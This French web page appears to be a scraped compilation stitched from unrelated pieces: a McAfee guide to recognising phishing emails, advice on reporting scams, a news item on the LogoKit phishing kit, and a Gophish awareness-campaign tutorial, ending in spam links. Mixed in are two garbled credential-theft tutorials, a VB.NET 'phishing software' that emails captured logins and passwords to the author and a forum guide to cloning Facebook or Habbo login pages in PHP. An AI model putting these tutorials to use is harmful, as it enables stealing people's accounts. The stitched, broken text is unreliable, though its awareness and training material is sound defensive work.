Exemples d’e-mails de phishing comment reconnaître un e-mail de phishing Vous recevez un e-mail de la part de labanqueDefrance qui prétend qu’une activité suspecte a été détectée sur votre relevé de carte de crédit et vous demande de vérifier vos informations financières. Que faire ? Bien que vous puissiez être tenté de cliquer sur un lien pour résoudre immédiatement le problème, il s’agit probablement de l’œuvre d’un cybercriminel. Le phishing est une escroquerie qui vous incite à fournir volontairement des informations personnelles importantes. Protégez-vous contre le phishing en consultant quelques exemples d’e-mails de phishing et en en apprenant davantage sur cette escroquerie en ligne courante. Qu’est-ce que le phishing Le phishing est un cybercrime qui vise à dérober vos informations sensibles. Les escrocs se font passer pour des grandes entreprises ou d’autres entités fiables pour vous inciter à fournir volontairement des informations comme vos identifiants de connexion ou, pire encore, votre numéro de carte de crédit. Qu’est-ce qu’un e-mail/SMS de phishing ? Un e-mail ou un SMS de phishing également connu sous le nom de SMiShing est un message frauduleux présenté comme légitime, qui vous demande généralement de fournir des informations personnelles sensibles de diverses manières. Cependant, si vous ne regardez pas attentivement ces e-mails ou SMS, vous risquez de ne pas pouvoir faire la différence entre un message ordinaire et un message de phishing. Les escrocs s’efforcent de rendre les messages de phishing identiques aux e-mails et SMS envoyés par des entreprises de confiance. Vous devez donc être prudent lorsque vous ouvrez ces messages et cliquez sur les liens qu’ils contiennent. Comment repérer un message de phishing ? Les auteurs de phishing échouent souvent en commettant des erreurs simples qui sont faciles à repérer lorsque vous savez comment faire. À chaque fois que vous ouvrez un e-mail ou un SMS, vérifiez qu’il ne s’agit pas de phishing grâce aux indices suivants La grammaire laisse à désirer Même les plus grandes entreprises commettent parfois des petites erreurs dans leurs communications. Les messages de phishing contiennent souvent des erreurs grammaticales, des fautes d’orthographe et d’autres erreurs flagrantes que les grandes entreprises ne feraient pas. Si vous constatez plusieurs erreurs grammaticales flagrantes dans un e-mail ou SMS qui vous demande des informations personnelles, vous êtes peut-être la cible de phishing. Le logo ne semble pas correct Pour renforcer leur crédibilité, les escrocs utilisent souvent les logos des entreprises pour lesquelles ils se font passer. Cependant, dans de nombreux cas, ils ne volent pas correctement ces logos. Le logo dans un e-mail ou un SMS de phishing peut être mal dimensionné ou avoir une mauvaise résolution. Si vous devez plisser les yeux pour distinguer le logo dans un message, il y a de fortes chances qu’il s’agisse de phishing. L’URL est étrange Le phishing est toujours centré autour de liens sur lesquels vous êtes censé cliquer. Voici quelques moyens de vérifier si le lien que vous avez reçu est légitime Passez la souris sur le lien dans l’e-mail pour afficher son URL. Souvent, les URL de phishing contiennent des fautes, un signe courant de phishing. En passant la souris sur le lien, vous pourrez voir un aperçu du lien. Si l’URL vous semble suspecte, ne l’ouvrez pas. Cliquez avec le bouton droit de la souris sur le lien, copiez et collez l’URL dans un fichier de traitement de texte. Cela vous permettra d’examiner minutieusement le lien pour y déceler des erreurs de grammaire ou d’orthographe sans être dirigé vers une page web potentiellement malveillante. Vérifiez l’URL d’un lien sur un appareil mobile en restant appuyé dessus avec votre doigt. Si l’URL que vous découvrez ne correspond pas à l’expéditeur supposé du message, vous avez probablement reçu un e-mail de phishing. Types d’e-mails et de SMS de phishing Les messages de phishing peuvent avoir différentes tailles ou formes, mais certains d’entre eux sont plus répandus que d’autres. Passons en revue quelques exemples des escroqueries de phishing les plus courantes Escroquerie au compte suspendu Certains e-mails de phishing vous avertissent que votre banque à temporairement suspendu votre compte en raison d’une activité inhabituelle. Si vous recevez un e-mail de suspension de compte de la part d’une banque chez laquelle vous n’avez pas de compte ouvert, supprimez-le immédiatement sans hésiter. Les e-mails de phishing qui mentionnent une suspension de compte provenant d’une banque chez laquelle vous avez un compte sont cependant plus difficiles à repérer. Utilisez les méthodes que nous avons énumérées ci-dessus pour vérifier l’intégrité de l’e-mail, et si vous n’obtenez pas de résultat, contactez directement votre banque au lieu d’ouvrir les liens contenus dans l’e-mail que vous avez reçu. Escroquerie à l’authentification à deux facteurs L’authentification à deux facteurs 2FA est devenue courante. Vous êtes donc probablement habitué à recevoir des e-mails vous demandant de confirmer vos informations de connexion à l’aide de codes à six chiffres. Les auteurs de phishing savent également à quel point l’authentification à deux facteurs est répandue, et ils pourraient profiter de ce service qui est censé protéger votre identité. Si vous recevez un e-mail vous demandant de vous connecter à un compte pour confirmer votre identité, utilisez les critères que nous avons énumérés ci-dessus pour vérifier l’authenticité du message. Méfiez-vous tout particulièrement si quelqu’un vous demande de fournir un code 2FA pour un compte auquel vous n’avez pas accédé depuis un certain temps. Escroquerie au remboursement d’impôt Nous savons tous qu’il est très important d’effectuer sa déclaration de revenus. C’est sur cela que comptent les escrocs qui vous envoient de faux e-mails du service des impôts au sujet d’un remboursement. Soyez prudent lorsqu’un e-mail vous informe que vous avez reçu une rentrée d’argent inattendue et soyez particulièrement méfiant des e-mails prétendument envoyés par le service des impôts, car cette agence gouvernementale contacte le plus souvent les contribuables par courrier postal. Les escroqueries liées aux remboursements d’impôts peuvent causer d’importants dégâts car ils vous demandent souvent vos numéros de sécurité sociale ainsi que vos informations bancaires. Escroquerie à la confirmation de commande Parfois, les cybercriminels essaient de vous piéger en envoyant des e-mails contenant de fausses confirmations de commande. Ces messages contiennent souvent de faux reçus joints à l’e-mail ou des liens prétendant contenir plus d’informations sur votre commande. Cependant, les criminels utilisent souvent ces pièces jointes et ces liens pour diffuser des malwares sur l’appareil de la victime. Le phishing au travail Vous devez également vous méfier du phishing lorsque vous utilisez votre messagerie professionnelle. L’une des escroqueries les plus répandues consiste à envoyer des e-mails conçus pour donner l’impression qu’ils ont été envoyés par un membre de la direction de votre entreprise. Ils demandent aux employés de transférer des fonds à des clients supposés, mais en réalité, cet argent ira aux escrocs. Utilisez les conseils que nous avons énumérés ci-dessus pour repérer ces faux e-mails. Quand le phishing passe sous le radar Souvent, les pirates informatiques cherchent à mettre à jour d’anciens stratagèmes afin qu’ils ne soient pas détectés par les utilisateurs déjà sensibilisés à certaines cybermenaces. C’est le cas des dernières techniques de dissimulation du phishing qui détectent les machines virtuelles pour passer sous leur radar. Les entreprises de cybersécurité utilisent souvent des appareils sans tête ou des machines virtuelles un fichier informatique qui se comporte comme un véritable ordinateur pour déterminer si un site web est en réalité une page de phishing. Mais aujourd’hui, certains kits de phishing contiennent du JavaScript un langage de programmation qui permet de mettre en œuvre des fonctionnalités complexes sur des pages web qui vérifie si une machine virtuelle analyse la page. S’il détecte des tentatives d’analyse, le kit de phishing affichera une page blanche à la place de la page de phishing, ce qui permettra de ne pas être détecté. Pour vous assurer de ne pas tomber dans le piège des dernières escroqueries par phishing, tenez-vous au courant des techniques de phishing afin de garder une longueur d’avance sur les cybercriminels. Que se passe-t-il si vous cliquez sur un lien dans un e-mail de phishing ? Ne cliquez jamais sur les liens des e-mails suspects. Si vous cliquez sur un lien de phishing, il vous mènera à une page web contenant un formulaire où vous pourrez saisir des données sensibles telles que votre numéro de sécurité sociale, vos informations de carte de crédit ou des identifiants de connexion. Ne saisissez aucune donnée sur cette page. Que faire si vous pensez avoir été victime de phishing ? Si vous saisissez accidentellement des données sur une page web ouverte depuis un e-mail suspect, effectuez une analyse complète pour rechercher les malwares sur votre appareil. Une fois l’analyse terminée, sauvegardez tous vos fichiers et modifiez vos mots de passe. Même si vous avez fourni les données d’un seul compte à l’escroc, vous avez peut-être aussi ouvert la porte au vol d’autres données personnelles. Il est donc important de modifier tous les mots de passe que vous utilisez en ligne à la suite d’une suspicion d’attaque de phishing. Astuces simples pour reconnaître un e-mail de phishing Terminons en résumant quelques conseils sur la manière d’éviter les e-mails de phishing En cas de doute, contactez directement l’entreprise qui est censée vous avoir envoyé l’e-mail plutôt que d’ouvrir les liens des e-mails suspects. Examinez attentivement les e-mails suspects pour repérer les signes révélateurs du phishing, tels qu’une mauvaise grammaire, des logos de mauvaise qualité ou des liens factices. Si vous cliquez accidentellement sur un lien de phishing, ne saisissez aucune donnée et fermez la page. Si vous pensez être la cible de phishing, effectuez une analyse antivirus, sauvegardez vos fichiers et modifiez tous vos mots de passe. Restez protégé Les e-mails de phishing ne fonctionnent que sur les personnes qui ne sont pas informées. Maintenant que vous savez comment repérer les e-mails de phishing et que vous connaissez la marche à suivre si vous pensez être la cible d’escrocs, vous risquez beaucoup moins de tomber dans le piège. N’oubliez pas de faire attention à vos informations personnelles lorsque vous utilisez Internet et faites preuve de prudence lorsque quelqu’un vous demande de divulguer des détails sur votre identité, vos finances ou vos informations de connexion. Consultez les actualités de McAfee et soyez au courant des dernières menaces pour la sécurité mobile et grand public en suivant McAfee_FR sur Twitter, en vous abonnant pour recevoir nos e-mails, en écoutant notre podcast Hackable? en anglais et en nous suivant sur Facebook.

Lestentatives de phishing passent le plus souvent par l’envoi d’un message frauduleux, qui imite l'aspect et le contenu d'un email ou d’un SMS officiel adressé par un tiers de confiance (fournisseur d'électricité, banque, services administratifs, etc.) et invite le destinataire à

SiNetflix donne des pistes pour reconnaître l’arnaque, un indice peut directement vous mettre la puce à l’oreille : l’orthographe. L’absence de négation dans la phrase « si vous

Bonjour Aujourd'hui je vais vous montrer comment créer un logiciel de phishing Public Class Form1 Private Sub Timer1_TickByVal sender As ByVal e As Handles = + 1 If = Then = 0 = False = True = True End If End Sub Private Sub Button1_ClickByVal sender As ByVal e As Handles Dim MyMailMessage As New MailMessage Dim SMTPServer As New SmtpClient" 'Email = New MailAddress"TONEMAIL 'Destinataire 'Expéditeur = "[] Nouveau Compte" 'Sujet = "Login " & & " Pass " & 'Corps 'SMTP = "587" = New "ICITUMETTONCODE" 'Email +Pass = True Try 'Envoi Catch ex As Exception End Try = True = 1000 ' = 1min = False = False End Sub End Class

Lesattaques de type BEC (Business Email Compromise) et la fraude au PDG sont une autre forme de spear phishing visant à usurper l’identité de votre entreprise ou de son PDG. Sachant que les gens sont prompts à faire confiance aux personnes en position d’autorité, les « phishers » usurpent l’identité de personnes dont les demandes semblent au-dessus de tout

Mis à jour le 25 septembre 2018 Vous avez reçu un e-mail piégé ? Que faire ? D’abord ne paniquez pas. Si vous n’avez pas cliqué sur le lien, ou si vous avez cliqué mais n’avez pas tapé vos identifiants sur le site pointé, vous ne risquez rien. Si votre messagerie le permet, signalez le message suspect. Voyez comment signaler un message suspect dans ou signaler une tentative de phishing dans Yahoo Mail. Vous pouvez également transmettre le message frauduleux à Signal Spam. Consultez la page Signaler un spam pour en savoir plus. Si votre messagerie ne dispose pas d’outil de signalement, vous pouvez soumettre l’adresse du site frauduleux au site Phishing Initiative, initié par Paypal, Microsoft et le CERT-LEXSI. Un expert vérifiera s’il s’agit bien d’un site de phishing, et si c’est le cas, l’adresse du site sera bloquée dans tous les navigateurs participants après quelques minutes. Sinon, détruisez-le message ou signalez-le comme spam. Que faire si vous êtes tombé dans le piège ? Si vous vous êtes identifié sur le site de votre banque ou un site marchand après avoir cliqué sur un lien d’un e-mail de phishing, contactez physiquement au plus vite votre banque ou organisme de paiement à ses coordonnées habituelles pas celles figurant dans le courriel, elles peuvent être fausses. L’établissement vous indiquera les démarches à suivre. Et n’hésitez pas à porter plainte. Les banques ne contactent pas leurs clients pour leur demander de fournir des informations sensibles comme les mots de passe ou les identifiants en ligne. Et prenez l’habitude de toujours vous connecter sur le site web d’une institution ou d’un organisme en tapant directement son adresse dans votre navigateur.

Contacterle service client officiel est le moyen le plus simple, et peut-être le plus efficace, d'éviter d'être victime d'une tentative de phishing. De nombreux fournisseurs de messagerie Web, tels que Yahoo! et Gmail, intègrent une technologie antispam. Ce type de protection bloque de nombreuses tentatives de phishing.

Je vais vous expliquer comment faire un page de phishing habbo , Facebook , msn ou autres ...Exemple sur Aller sur autre 2 Faite "Clique Droit" puis "Code source de la page"3 Sélectionner tout puis faite "Copier"4 Ouvrer un Bloc Note et coller tout dedans5 Puis aller dans Edition > Rechercher et vous chercher Citationhabbo d'info me contactéque vous changerez par " Enregistrer-le et le renommer par Ouvrer un nouveau Bloc Note ou vous y mettrez Code PHP Code /!\ NE RIEN MODIFIER /!\ sauf Votre email a la place de "TON ADRES EMAIL" Enregistrer le sous " fois vos deux bloc note enregistré et modifié il vous Faux un hebergeuraller sur et crée vous un compte une foi crée un email de confirmation vous sera envoyé avec vos ID de connection FTP Aller sur Filzilia ou autres et conécté vous . . .Vous entré vos deux Fichier et Voilà votres page et créer et vous aller resevoir des email avec ; email exeple Pass Le mots de passVoila Fin du tuto , Merci de laisé des com's sa fait toujour plaisir . . .Coordialement , Tow HRF OWNER Encas de fraude sur Internet, votre banque doit vous rembourser (ou plutôt indemniser) les sommes prélevées par les cybercriminels, du moins si vous n’avez pas divulgué aux gredins votre code à 4 chiffres de carte bancaire. Mais certains établissements financiers rechignent parfois, et tentent même de vous induire en erreur. Phishing en temps réel, la dernière méthode d'attaqueC'est un nouvel outil de Kit de logo . Il s'agit d'un kit d'attaque de phishing qui a déjà détecté des centaines de domaines uniques ces dernières semaines. Il a été développé par un groupe de hackers et il modifie en temps réel les logos et le texte d'une page de phishing en fonction de la nous l'avons mentionné, ces types d'attaques se sont perfectionnés au fil du temps. Ils s'adaptent de plus en plus aux victimes pour atteindre leur objectif et pouvoir contourner les mesures de sécurité. Selon la société de sécurité de l'information RiskIQ , qui a suivi son évolution, ce kit est déjà exploité en précisément, cette société de cybersécurité a détecté 300 sites uniques la semaine dernière et plus de 700 le mois dernier. Ils indiquent que LogoKit repose sur l'envoi aux utilisateurs de liens de phishing contenant leur message s'adapte à chaque entrepriseUne fois qu'une victime accède à l'URL, LogoKit obtient le logo de l'entreprise à partir d'un service tiers, tel que Clearbit ou la base de données favicon de Google. Si une victime entre son mot de passe, LogoKit fait une demande et envoie l'e-mail et le mot de passe de la victime à une source externe, puis redirige l'utilisateur vers le site Web y parvenir, selon les chercheurs en sécurité, LogoKit utilise un ensemble de fonctions JavaScript intégrables , qui peut être ajouté à n'importe quel formulaire de connexion que c'est différent de Kits de phishing standard , dont la plupart nécessitent des modèles de pixels parfaits qui imitent les pages d'authentification d'une entreprise. La modularité de ce kit de nouveauté permet à un attaquant de cibler n'importe quelle entreprise de son choix en le personnalisant simplement et en le montant en un rien de temps. Ils peuvent créer des centaines d'attaques différentes en une RiskIQ, ils indiquent qu'ils ont vu comment LogoKit a été utilisé pour imiter et créer des pages de connexion dans des services très divers, parmi lesquels on peut citer onedrive et Office faut également noter que ce kit est très petit, il peut donc être hébergé sur des sites piratés et des pages légitimes d'entreprises de toutes sortes où vous souhaitez vous rendre. De plus, étant une collection de fichiers JavaScript, les ressources peuvent être hébergées dans des services publics de confiance, tels que GitHub et une fois, nous devons être correctement protégés contre ces types de menaces sur le réseau. Nous vous laissons un tutoriel où nous expliquons comment fonctionne le phishing. Nous y donnons quelques conseils importants pour éviter d'être victime de ce problème. 2 Lynis. Outil Linux Lynis Kali. Lynis est un outil puissant pour l'audit de sécurité, les tests de conformité et le renforcement du système. Bien sûr, vous pouvez également l'utiliser pour la détection des vulnérabilités et les tests de pénétration. Il analysera le système en fonction des composants détectés.

SommaireI. PrésentationII. Rappel c'est quoi le phishing ?III. Installation de GophishIV. Configuration de GophishA. Création des utilisateurs et des groupesB. Créer l'e-mail pour la campagne de phishingC. Créer la landing page pour récupérer les identifiantsD. Configurer le serveur SMTPE. Lancer la campagne de phishingF. Consulter les résultats de la campagne de phishing I. Présentation Dans ce tutoriel, nous allons voir comment utiliser le framework open source Gophish pour créer une campagne de phishing hameçonnage dans le but d'évaluer le niveau de vigilance des utilisateurs.  Grâce à Gophish, vous allez pouvoir créer différentes campagnes de phishing et les diffuser auprès de vos utilisateurs, dans le but de les sensibiliser, de les entraîner, afin qu'il soit capable d'adopter les bons réflexes lorsqu'ils se retrouvent face à un e-mail le site officiel de Gophish Voici les fonctionnalités principales de Gophish Création d'utilisateurs et de groupes d'utilisateurs cibles Création de template pour les e-mails de vos campagnes Création de landing page pour vos campagnes exemple un formulaire de connexion Envoyer des campagnes de phishing avec suivi des e-mails e-mail envoyé, e-mail ouvert, clic sur le lien, données récoltées via le formulaire pour chaque utilisateur Reporting sur les campagnes API pour interroger Gophish à distance et récupérer des informations Voici à quoi ressemble le tableau de bord de Gophish, accessible à partir d'un navigateur Tableau de bord de Gophish Bien sûr, un tel outil peut être détourné pour créer des campagnes malveillantes, mais ce n'est clairement pas l'objectif de cet article. De nombreuses attaques informatiques débutent par un e-mail malveillant et un utilisateur piégé ! Je vous encourage à utiliser Gophish ou un autre outil pour sensibiliser et entraîner vos utilisateurs ! Rien de mieux que la pratique pour vérifier s'ils ont bien compris la session de formation visant à les sensibiliser. Remarque via Office 365 / Microsoft 365, Microsoft propose une fonctionnalité qui permet de réaliser des campagnes de phishing pour sensibiliser vos utilisateurs. Cela nécessite d'utiliser des licences Microsoft 365 E5. II. Rappel c'est quoi le phishing ? Le phishing, ou hameçonnage en français, est une technique utilisée dans le cadre d'attaques informatiques pour inciter l'utilisateur à communiquer des informations personnelles nom d'utilisateur, mot de passe, numéro de carte bancaire, etc. à partir d'un e-mail, d'un SMS, etc... Qui va rediriger l'utilisateur sur une page Web malveillante. Par exemple, le pirate informatique va créer une copie de la page de connexion sur Facebook et il va inclure un lien vers cette copie dans l'e-mail qu'il va envoyer aux utilisateurs ciblés. Si l'utilisateur clique sur le lien, accède à la page et saisit ses informations de connexion, le pirate va récupérer les informations saisies par l'utilisateur. Il peut alors usurper l'identité de l'utilisateur et se connecter à son compte Facebook, mais cela fonctionne pour tout autre compte Google, impôts, banque, etc.. Exemple d'un e-mail de phishing III. Installation de Gophish L'outil Gophish est disponible gratuitement sur Github et il existe des binaires pour Windows, Linux et macOS. Sinon, vous pouvez aussi le compiler vous-même ou utiliser un container Docker pour le tester rapidement. Télécharger les binaires Gophish Documentation - Installation de Gophish Pour ma part, je vais utiliser le binaire pour Windows. On obtient un ZIP qu'il suffit de décompresser. Ensuite, il faut exécuter " Note le serveur qui héberge Gophish doit être accessible par les machines de vos utilisateurs pour que la page Web puisse s'afficher lorsqu'ils vont cliquer sur le lien contenu dans l'e-mail. Par défaut, Gophish s'appuie sur une base de données SQLite, mais il est possible de configurer un serveur MySQL. Le fichier de configuration se nomme " et il est situé au même endroit que l'exécutable. Au premier démarrage, il y a quelques informations intéressantes à relever Le compte par défaut se nomme "admin" et le mot de passe généré aléatoirement est communiqué dans la console il faudra le changer à la première connexion L'interface de Gophish pour afficher les pages web de vos campagnes est accessible sur le port 80/HTTP L'interface d'administration de Gophish est accessible en HTTPS sur le port 3333 Démarrage de Gophish Laissez Gophish tourner et connectez-vous sur l'interface d'administration. IV. Configuration de Gophish Pour se connecter depuis la machine locale, il suffit d'accéder à l'adresse " à partir d'un navigateur. Connectez-vous avec le compte admin et modifiez le mot de passe. Dans cet exemple, mon objectif est de créer une campagne de phishing en reprenant un e-mail d'Instagram qui renvoie vers une page Web avec un formulaire. Avant de pouvoir envoyer notre première campagne de phishing, il va falloir préparer un certain nombre d'éléments c'est ce que nous allons faire, étape par étape. Suivez le guide ! A. Création des utilisateurs et des groupes Nous devons commencer par créer nos utilisateurs et nos groupes. On peut imaginer qu'un groupe correspond aux utilisateurs d'un service ou d'un site. Lorsqu'une campagne de phishing sera envoyée, il faudra cibler un ou plusieurs groupes. Cliquez sur "Users & Groups" puis sur "New Group". Nommez votre groupe en renseignant le champ "Name" et ensuite vous avez deux options Créez vos utilisateurs un par un, en remplissant le formulaire et en cliquant sur "Add". Cela peut vite être chronophage... Créez vos utilisateurs à l'aide d'un fichier CSV que vous pouvez importer avec le bouton "Bulk Import Users". Cela me plaît un peu plus et de toute façon on ne peut pas établir de connexion avec un annuaire externe. Importer les utilisateurs dans Gophish On va s'intéresser un peu plus à la deuxième option l'import CSV. Je ne suis pas trop du genre à faire des saisies en boucle pendant des heures... D'après le template fourni par Gophish, on doit fournir un fichier CSV avec 4 colonnes et la virgule comme séparateur "First Name","Last Name","Email","Position" Je ne sais pas vous, mais j'ai envie de faire une extraction des comptes de l'Active Directory pour importer les comptes dans Gophish. On va dire que "First Name" correspond à l'attribut "givenName", "Last Name" à l'attribut "sn", "Email" à l'attribut "mail" et "Position" à l'attribut "Title" des objets utilisateurs. Pour ce premier groupe, je vais récupérer les utilisateurs de l'OU "OU=Personnel,DC=it-connect,DC=local" et exporter le résultat vers un fichier CSV "C\ En PowerShell, cela me donne la commande suivante et tant qu'à faire avec les bons noms de colonnes souhaités par Gophish. Adaptez le paramètre -SearchBase et éventuellement le chemin de sortie du CSV. Get-ADUser -Filter * -SearchBase "OU=Personnel,DC=it-connect,DC=local" -Properties mail,givenName,sn,title Select-Object {n='First Name';e={${n='Last Name';e={${n='Email';e={${n='Position';e={$ Export-CSV -Path "C\ -Delimiter "," -NoTypeInformation J'obtiens un joli CSV que je n'ai plus qu'à importer. Exemple d'un CSV formaté pour Gophish Note vous pouvez aussi jeter un œil au script GoLDAP qui sert à importer les utilisateurs d'un annuaire LDAP vers Gophish. Les utilisateurs, c'est réglé ! Passons à la suite. B. Créer l'e-mail pour la campagne de phishing Seconde étape la création du modèle d'e-mail que l'on va envoyer aux utilisateurs dans le cadre de cette campagne de phishing. Cliquez à gauche sur "Email Templates" puis sur le bouton "New Template". Pour créer le modèle, vous pouvez partir de zéro ou importer le code HTML d'un e-mail existant ce qui est intéressant pour gagner du temps grâce au bouton "Import Email". Pour cet exemple, j'ai repris un modèle que j'ai trouvé ici et que j'ai traduit en français. Dans tous les cas, je vous recommande d'utiliser l'éditeur HTML afin de pouvoir modifier les balises. Lorsque vous cliquez sur le bouton "Source", vous pouvez basculer entre l'affichage du code et la prévisualisation de votre e-mail. Le bouton le plus à droite permet de prévisualiser l'e-mail dans un nouvel onglet. Pour accéder à tous les boutons de l'éditeur de texte, notamment pour insérer des liens, il faut cliquer sur le bouton "Source". Vous pouvez aussi insérer des balises où la valeur sera dynamique, notamment pour reprendre le prénom ou le nom de l'utilisateur avec un "Bonjour Florian", vous avez plus de chance de piéger l'utilisateur qu'avec un simple "Bonjour". À vous de juger le niveau de difficulté que vous souhaitez pour ce premier essai. 😉 Les champs personnalisés pour Gophish Pour renvoyer vers la landing page qui contient le formulaire, il faut ajouter un lien à l'e-mail. Sur ce lien, il faut indiquer l'URL "{{.URL}}" qui sera remplacée par Gophish par la bonne valeur. Mon e-mail est prêt, voici un aperçu C. Créer la landing page pour récupérer les identifiants Troisième étape création de la landing page qui sera une page piégée puisque si l'utilisateur complète le formulaire, nous allons le savoir ! S'il clique sur le lien, nous allons le savoir aussi ! Cliquez sur "Landing Pages" sur la gauche du menu puis sur "New Page". Donnez un petit nom à votre template et ensuite il faut passer à la construction. Vous pouvez partir de zéro comme pour l'e-mail ou importer un site à partir d'une URL et du bouton "Import Site". Alors, vous pouvez importer la page d'un site existant, mais il faudra adapter le code source le formulaire que vous allez récupérer ne sera peut-être pas conforme aux attentes de Gophish notamment les noms des champs du formulaire. C'est la partie la plus délicate si vous cherchez à copier Instagram, par exemple, mais si vous reprenez un portail de votre entreprise pour cette campagne, ça devrait aller. Pour ma part, j'ai créé une page très basique pour cette démo. Si vous souhaitez récupérer les informations saisies par les utilisateurs, cochez les cases "Capture Submitted Data" et "Capture Passwords" pour le mot de passe même si vis-à-vis du RGPD, je pense qu'il vaut mieux éviter l'option "Capture Passwords". Il est précisé que le mot de passe sera stocké en clair, mais finalement on peut se passer de la récupération du mot de passe. Sauf si vous souhaitez engueuler l'utilisateur s'il utilise un mot de passe faible pour ne pas dire autre chose en plus de s'être fait piéger. Voici le code source de ma superbe page Nom d&39;utilisateur Mot de passe   Si vous arrivez à piéger un utilisateur avec ça, je suis inquiet pour vous. Enregistrez... La page est prête ! D. Configurer le serveur SMTP Avant de lancer la campagne, il nous reste une dernière étape la configuration du serveur de messagerie SMTP. Vous vous en doutez, il va servir à envoyer les e-mails de nos campagnes de phishing. Sur la gauche, cliquez sur "Sending Profiles" puis sur "New Profile". Ensuite, vous devez nommer votre profil et renseigner les informations en complétant le formulaire. Voici quelques indications From adresse e-mail utilisée pour envoyer les e-mails, c'est-à-dire l'expéditeur. Si vous effectuez une campagne de sensibilisation axée sur Instagram, il peut être intéressant d'utiliser un nom de domaine trompeur et semblable à " S'il n'a rien à voir, ce sera plus facile pour les utilisateurs de voir qu'il s'agit d'un piège mais ce sera aussi l'occasion de voir s'ils ont bien compris qu'il fallait vérifier l'e-mail de l'expéditeur même si ce n'est pas suffisant. Host serveur SMTP à utiliser pour envoyer les e-mails, suivi du port séparé par "" Username compte utilisateur pour s'authentifier sur le serveur SMTP Password le mot de passe de ce compte Pour valider que ça fonctionne, cliquez sur "Send Test Email". Si c'est bon, vous pouvez continuer. Note vous pouvez créer plusieurs profils, car en fonction de la campagne, vous n'allez peut-être pas utiliser la même adresse d'expéditeur. E. Lancer la campagne de phishing Tout est prêt ! Nous allons pouvoir créer notre première campagne de phishing et tester nos utilisateurs ! Cliquez sur le menu "Campaigns" puis sur "New Campaign". Pour créer cette campagne nommée "Instagram n°1", on va réutiliser les éléments créés précédemment "Email Template", "Landing Page" et "Sending Profile". Concernant, les autres options URL indiquez le nom de domaine ou l'adresse IP là aussi, essayez de faire en sorte de tromper vos utilisateurs pour les évaluer correctement où les utilisateurs pourront contacter votre serveur Gophish. Launch Date date à laquelle envoyer la campagne, par défaut c'est immédiatement. Si vous spécifiez aussi une date pour le champ "Send Emails By", Gophish enverra les e-mails à un moment donné entre la date de début "Launch Date" et la date de fin "Send Emails By". Ainsi, tous les utilisateurs ciblés ne vont pas recevoir l'e-mail en même temps. Groups sélectionnez un ou plusieurs groupes d'utilisateurs que vous souhaitez cibler avec cette campagne. Créer une campagne dans Gophish Quand tous les champs sont complétés, cliquez sur "Launch Campaign" pour démarrer la campagne ! Le tableau de bord de la campagne va s'afficher et la section "Details" vous indique la "progression" pour chaque utilisateur. F. Consulter les résultats de la campagne de phishing En tant qu'utilisateur ciblé par la campagne de phishing, j'ai reçu l'e-mail ci-dessous, avec le fameux "Bonjour Florian". On peut voir que le lien renvoie vers mon serveur Gophish et l'adresse IP spécifiée dans la campagne. Je décide de cliquer sur le lien j'arrive bien sur la landing page. Je suis confiant, je vais me connecter comme indiqué dans l'e-mail.... Dans le même temps, sur l'interface de Gophish, on peut voir qu'il y a un utilisateur qui a ouvert l'e-mail, cliqué sur le lien et envoyé des données. Note la section "Email Reported" indique le nombre d'utilisateurs qui ont signalé cet e-mail pour dire qu'il était malveillant. Un utilisateur qui a signalé l'e-mail frauduleux au service informatique doit être récompensé ! 😉 - Pour configurer cette fonction, rendez-vous dans "Account Settings" puis "Reporting Settings" configurez la boîte e-mail qui sert à vos utilisateurs à remonter les incidents de sécurité au service informatique. En complément, la "Campaign Timeline" nous donne un aperçu des événements dans le temps, avec le nom d'utilisateur et l'action effectuée. C'est plutôt bien fait ! Au niveau de la section "Details", je peux voir que l'utilisateur "Florian Burnel" a envoyé des données via le formulaire ! Je peux même obtenir le détail des actions avec la date et l'heure, c'est très précis ! En affichant tous les détails, je peux également visualiser le mot de passe envoyé par le formulaire de ma landing page "JeTeDonneMonMotDePasse". Finalement, je crois qu'il m'a démasqué et qu'il s'en amuse ! 😉 En complément, le bouton "Complete" permet de terminer une campagne et de l'archiver les résultats restent accessibles. Enfin, vous pouvez exporter un rapport au format CSV en cliquant sur "Export CSV". Cette démo de Gophish est terminée ! Maintenant, c'est à vous de jouer ! Pensez à former les utilisateurs puis à les tester avec Gophish. Dans la foulée de la campagne, effectuez une seconde session de sensibilisation auprès des utilisateurs qui se font piéger. Sans oublier une piqûre de rappel pour tout le monde, de temps en temps.

kEeT1bK.

r368reqqd1.pages.dev/549

r368reqqd1.pages.dev/480

r368reqqd1.pages.dev/687

r368reqqd1.pages.dev/404

r368reqqd1.pages.dev/895

r368reqqd1.pages.dev/44

r368reqqd1.pages.dev/871

r368reqqd1.pages.dev/991

r368reqqd1.pages.dev/250

r368reqqd1.pages.dev/136

r368reqqd1.pages.dev/49

r368reqqd1.pages.dev/571

r368reqqd1.pages.dev/842

r368reqqd1.pages.dev/326

r368reqqd1.pages.dev/531

comment faire une page de phishing